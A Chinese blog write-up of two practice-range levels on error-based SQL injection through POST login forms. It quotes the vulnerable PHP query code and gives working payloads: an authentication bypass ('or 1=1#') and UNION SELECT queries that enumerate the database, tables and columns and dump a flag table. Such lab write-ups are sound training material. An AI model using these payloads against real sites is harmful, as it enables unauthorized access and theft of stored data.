SQL注入显错注入-POST


post 形式进行传参

测试点:

测试万能密码

'or 1=1 -- qwe

0x00 首先了解post传参与get传参的区别:

特性不同:

Get请求是将数据添加到URL中并传递到服务器,通常利用一个问号“?”代表URL地址的结尾与数据参数的开端。Post请求数据是放在HTTP主体中的,其组织方式不只一种,有"&"连接方式,也有分割符方式,可隐藏参数,传递大批数据,比较方便。

传输方式不同:

get方式把参数数据列加到提交表单的ACTION属性所指的URL中,值和表单内各个字段分别对应,在URL中可以看到。post方式通过HTTP post机制,将表单内各个字段与其内容放置在HTML HEADER内一起传送到ACTION属性所指的URL地址。

 

服务端获取数据方式不同:

get方式是服务器端用Request.QueryString获取变量的值。post方式是务器端用Request.Form获取提交的数据。

传输数据量不同:

get传送的数据量较小,不能大于2KB。post传送的数据量较大,一般默认为不受限制。但实际上会因为服务器的不同有所差异。

安全性不同:

由于get方式传递的参数可以在页面上看见,所以get安全性非常低。Psot方式传递的参数用户不可见,因此post安全性较高。

0x01 靶场测试

靶场环境:封神台靶场

Pass-05

漏洞关键代码:

$sql = 'select *from user where username =\''.$username.'\' and password=\''.$password.'\'';

查看代码只对'(单引号做了过滤),绕过方式 在POST数据接口 跟上 a' 即可

在登录口 输入 admin' or 1=1# 万能密码 绕过

原理 在和数据库交互的使用 'or 1=1 条件成立

从而绕过了验证机制

判断注入存在

image-20210909235637078

进过测试发现存在3个字段的注入点

使用一下SQL语句查看回显点

or 1=2 因为使用了联合查询,使前面的条件出错

a'or 1=2 union select 1,2,3#

image-20210910000648956

查看库名

库名为 post_error

a' or 1=2 union select 1,database(),3#

image-20210910001133881

查看表

a' or 1=2 union select 1,table_name,3 from information_schema.tables where table_schema="post_error" limit 0,1#
a ' union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 0,1#'

image-20210910114938750

a' or 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()#

image-20210910115143898

查看字段

a' union select 1,group_concat(column_name),verison from information_schema.columns where table_schema=database() and table_name="flag"#

image-20210910115703713

a' union select 1,group_concat(flag),3 from flag#

image-20210910115816021

Pass-06

页面提示

select *from user where username =("") and password=("")

漏洞位置代码

$sql = 'select *from user where username =("'.$username.'") and password=("'.$password.'")';

查看代码只对" ) (双引号、括号做了过滤),绕过方式 在POST数据接口 跟上 ")即可 和前面不一样 是在传参前做的过滤

在登录口 输入 ") or 1=1# 万能密码 绕过

例如 a")

在数据库中

select *from user where username =("a")") and password=("")

已经把前面 (" a") .$name. 就把前面的闭合了

原理 在和数据库交互的使用 ")or 1=1 条件成立

从而绕过了验证机制

判断注入存在

查看库名

a")or 1=2 union select 1,database(),3#

image-20210910121450577

查表名

a") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()#

image-20210910121754915

查字段

a") union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name="flag"#

image-20210910122225869

a") union select 1,group_concat(flag),3 from flag#

image-20210910122458143



posted @ 2021-09-10 12:00  小憩一会  阅读(139)  评论(0)    收藏  举报